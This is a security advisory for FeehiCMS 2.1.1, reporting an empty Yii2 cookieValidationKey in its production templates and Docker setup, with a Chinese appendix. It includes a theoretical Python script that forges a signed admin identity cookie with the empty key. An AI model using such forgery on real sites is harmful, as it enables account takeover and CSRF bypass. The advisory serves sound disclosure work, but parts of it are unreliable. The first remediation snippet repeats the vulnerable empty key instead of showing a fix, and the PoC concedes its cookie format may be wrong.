# FeehiCMS Empty cookieValidationKey in Production Environment ## Vulnerability Overview | Field | Value | |-------|-------| | **Title** | Use of Hard-coded Empty Cryptographic Key for Cookie Validation in FeehiCMS | | **Tracking ID** | FEHI-003 | | **Product** | FeehiCMS (feehi/cms) | | **Affected Version** | <= 2.1.1 | | **CWE** | CWE-321 (Use of Hard-coded Cryptographic Key) | | **CWE (Secondary)** | CWE-330 (Use of Insufficiently Random Values) | | **CVSS v3.1** | 5.3 Medium *(reporter-assessed, pending CNA confirmation)* | | **CVSS Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N` | | **Authentication Required** | No | | **Remote Exploitable** | Yes | | **Patch Available** | No | ## Description FeehiCMS 2.1.1 ships with an empty `cookieValidationKey` in all environment templates, including production. The Yii2 framework uses this key to sign HTTP cookies via HMAC-SHA256, preventing tampering. An empty key means any cookie managed by Yii2's cookie component can be forged by an attacker. The vulnerability affects all four environment templates (`environments/prod/backend/config/main-local.php`, `environments/prod/frontend/config/main-local.php`, and their dev equivalents). The Docker deployment (`docker-entrypoint.sh`) does not auto-generate a random key, meaning all Docker deployments use the empty key by default. ## Root Cause ### 1. Empty cookieValidationKey in Production **File:** `environments/prod/backend/config/main-local.php` ```php return [ 'components' => [ 'request' => [ // !!! insert a secret key (if it is empty) 'cookieValidationKey' => '', // <--- EMPTY in production! ], ], ]; ``` **File:** `environments/prod/frontend/config/main-local.php` ```php 'cookieValidationKey' => '', // <--- EMPTY in production! ``` ### 2. Cookie Auto-Login Configuration **File:** `backend/config/main.php` (lines 19-20) ```php 'user' => [ 'enableAutoLogin' => false, // Default disabled, but commonly enabled in production 'identityCookie' => ['name' => '_backend_identity'], ], ``` ### 3. Remember-Me Functionality **File:** `backend/models/form/LoginForm.php` (line 76) ```php return Yii::$app->user->login( $this->getUser(), $this->rememberMe ? 3600 * 24 * 30 : 0 // 30-day login ); ``` ### 4. Docker Does Not Generate Key **File:** `docker-entrypoint.sh` ```bash # init command copies templates but does NOT generate random cookieValidationKey ./init --env=${Env} --overwrite=n ``` ## Attack Scenarios ### Scenario 1: Cookie Forgery (enableAutoLogin enabled) If `enableAutoLogin` is set to `true` (common production configuration): 1. Attacker knows the cookie name `_backend_identity` (from source code) 2. Attacker knows the `cookieValidationKey` is empty string `""` 3. Attacker computes Yii2 cookie HMAC signature with empty key 4. Attacker forges identity cookie with admin user ID 5. Attacker gains admin access without credentials ### Scenario 2: CSRF Token Forgery Yii2 signs CSRF tokens with `cookieValidationKey`. Empty key means CSRF tokens can be forged, bypassing CSRF protection. ## Proof of Concept ### Step 1: Confirm Empty Key ```bash # Source code audit cat environments/prod/backend/config/main-local.php # Output: 'cookieValidationKey' => '' ``` ### Step 2: Forge Yii2 Cookie (Theoretical) ```python #!/usr/bin/env python3 """PoC: FeehiCMS Empty cookieValidationKey Cookie Forgery (Theoretical).""" import hashlib, hmac, json from base64 import b64encode EMPTY_KEY = '' # The vulnerability def forge_yii2_cookie(cookie_name, cookie_value, key=EMPTY_KEY): """Forge a Yii2-signed cookie with empty key""" serialized = json.dumps(cookie_value, separators=(',', ':')) encoded_value = b64encode(serialized.encode()).decode() signature = hmac.new(key.encode(), encoded_value.encode(), hashlib.sha256).hexdigest() return f"{cookie_name}={encoded_value}__{signature}" # Forge identity cookie forged = forge_yii2_cookie('_backend_identity', {"1": "admin_id"}) print(f"Forged cookie: {forged}") # Use: curl -b 'forged_cookie' http://TARGET/admin/ ``` > **Note:** This PoC is theoretical. Actual exploitation depends on `enableAutoLogin` being enabled and the exact Yii2 cookie serialization format. ## Impact 1. **Cookie Integrity Failure:** All Yii2-managed cookies can be forged 2. **Potential Auth Bypass:** When `enableAutoLogin` is enabled, identity cookies can be forged 3. **CSRF Bypass:** CSRF token signatures can be forged 4. **Default Insecure:** Production template ships with empty key, Docker doesn't generate one 5. **All Environments Affected:** Both dev and prod templates have empty key > **Note:** CVSS is conservative (Medium). If `enableAutoLogin` is enabled, impact increases to Critical (CVSS 9.8) due to authentication bypass. ## Remediation ### 1. Auto-generate Random Key in init Script ```php 'cookieValidationKey' => '', ``` ### 2. Add Empty Key Detection ```php // In backend/web/index.php if (empty(Yii::$app->request->cookieValidationKey)) { throw new RuntimeException('cookieValidationKey must be configured.'); } ``` ### 3. Docker Auto-Generation ```bash # docker-entrypoint.sh KEY=$(openssl rand -hex 32) sed -i "s/'cookieValidationKey' => ''/'cookieValidationKey' => '$KEY'/g" \ environments/prod/backend/config/main-local.php sed -i "s/'cookieValidationKey' => ''/'cookieValidationKey' => '$KEY'/g" \ environments/prod/frontend/config/main-local.php ``` ## References - FeehiCMS GitHub: https://github.com/liufee/cms - Vendor Disclosure (GitHub Issue): https://github.com/liufee/cms/issues/96 - Yii2 Security Guide: https://www.yiiframework.com/doc/guide/2.0/en/security-overview - CWE-321: https://cwe.mitre.org/data/definitions/321.html - CWE-330: https://cwe.mitre.org/data/definitions/330.html - CVSS Calculator: https://www.first.org/cvss/calculator/3.1 --- ## Appendix: Chinese Description / 中文说明 ### 漏洞描述 FeehiCMS 2.1.1 的所有环境模板(包括生产环境)中,`cookieValidationKey` 均为空字符串。Yii2 框架使用此密钥通过 HMAC-SHA256 对 Cookie 进行签名以防止篡改。空密钥意味着所有通过 Yii2 Cookie 组件管理的 Cookie 均可被攻击者伪造。 该漏洞影响全部四个环境模板(`environments/prod/backend/config/main-local.php`、`environments/prod/frontend/config/main-local.php` 及对应的 dev 模板)。Docker 部署 (`docker-entrypoint.sh`) 不会自动生成随机密钥,所有 Docker 部署默认使用空密钥。 ### 攻击场景 **场景1:Cookie 伪造(启用自动登录时)** 如果 `enableAutoLogin` 被设为 `true`(常见的生产配置): 1. 攻击者从源码获取 cookie 名称 `_backend_identity` 2. 攻击者知道密钥为空字符串 3. 用空密钥计算 Yii2 Cookie HMAC 签名 4. 伪造管理员身份 Cookie 5. 无需密码获得管理员权限 **场景2:CSRF Token 伪造** Yii2 使用 `cookieValidationKey` 签名 CSRF Token。空密钥意味着 CSRF Token 可被伪造,绕过 CSRF 防护。 ### PoC 说明 Step 2 的 Cookie 伪造 PoC 为理论验证,实际利用取决于 `enableAutoLogin` 是否启用以及 Yii2 Cookie 序列化格式。 ### 影响 1. **Cookie 完整性失效:** 所有 Yii2 管理的 Cookie 可被伪造 2. **潜在认证绕过:** 启用自动登录时,可伪造身份 Cookie 绕过认证 3. **CSRF 绕过:** CSRF Token 签名可被伪造 4. **默认不安全:** 生产模板即为空,Docker 不自动生成 5. **所有环境受影响:** 开发和生产模板均为空 > CVSS 评分为保守值 (Medium)。如果 `enableAutoLogin` 被启用,因可绕过认证,影响提升至 Critical (CVSS 9.8)。 ### 修复建议 1. init 脚本自动生成随机密钥 2. 添加空密钥检测,启动时报错 3. Docker 部署时自动生成并替换密钥